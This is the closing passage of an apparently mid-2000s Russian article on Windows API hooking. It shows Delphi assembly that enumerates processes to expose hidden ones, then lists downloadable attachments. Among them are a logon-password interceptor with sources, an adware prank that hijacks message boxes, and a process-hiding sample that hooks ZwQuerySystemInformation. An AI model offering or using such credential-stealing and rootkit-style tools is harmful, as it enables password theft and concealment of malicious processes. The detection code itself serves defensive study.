jmp @GetInfoTable_doublespace
@GetInfoTable_failed:
push 0
pop dword ptr [ebp - $04]
@GetInfoTable_end:
mov eax,[ebp - $04]
pop esi
leave
ret $04
@InfoTableEnd:
mov [edi], eax
@FindData:
mov edx, [eax + $3C]
mov eax, [ebx]
call TList.Add //NameList.Add
mov eax, [edi]
lea edx, [eax + $44]
mov eax, [esi]
call TList.Add //HandleList.Add
mov eax, [edi]
cmp [eax], 0
jz @EndData
add eax, [eax]
mov [edi], eax
jmp @FindData
@EndData:
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
end;



NameList будет содержать указатели PWideChar на имена процессов, а HandleList на их PID. Данный код проверен в Windows XP sp0,sp1 и sp2. В Windows 2000 он работать не будет, так как интерфейс системных вызовов там сильно отличается от XP. Но от перехвата API в ядре этот метод не спасет.
Этот метод поиска скрытых процессов реализован в моей программе ProcessMaster, которую вы можете скачать в приложении к статье.
Приложение:

Здесь вы найдете все файлы идущие со статьей:

FuckLogon (21 кб)
http://ms-rem.narod.ru/hook/ApiHook1/files/fucklogon.rar
Программа FuckLogon перехватывающая пароли на вход в систему.
В архиве также находятся исходники программы.

AdwareBox (15 кб)
http://ms-rem.narod.ru/hook/ApiHook1/files/AdwareBox.rar
Программа - прикол. Заставляет все MessageBox в системе отображать рекламу.

ProcHide (10 кб)
http://ms-rem.narod.ru/hook/ApiHook1/files/ProcHide.rar
Пример скрытия процесса winlogon.exe путем перехвата ZwQuerySystemInformation.

ProcessMaster (189 кб)
http://ms-rem.narod.ru/hook/ApiHook1/files/pmaster.rar
Программа ProcessMaster для обнаружения скрытых процессов.
Гарантированное обнаружение любых UserMode API перехватчиков

Комментарии

Добавил: Ms-Rem Дата: 16.05.2005

Оформление вроде ничего получилось, но только с исходниками косяк,


Добавление комментария


Ваше имя (на форуме):

Ваш пароль (на форуме):

Комментарии могут добавлять только пользователи,
зарегистрированные на форуме данного сайта. Если Вы не
зарегистрированы, то сначала зарегистрируйтесь тут

Комментарий:





Главная     Программы     Статьи     Разное     Форум     Контакты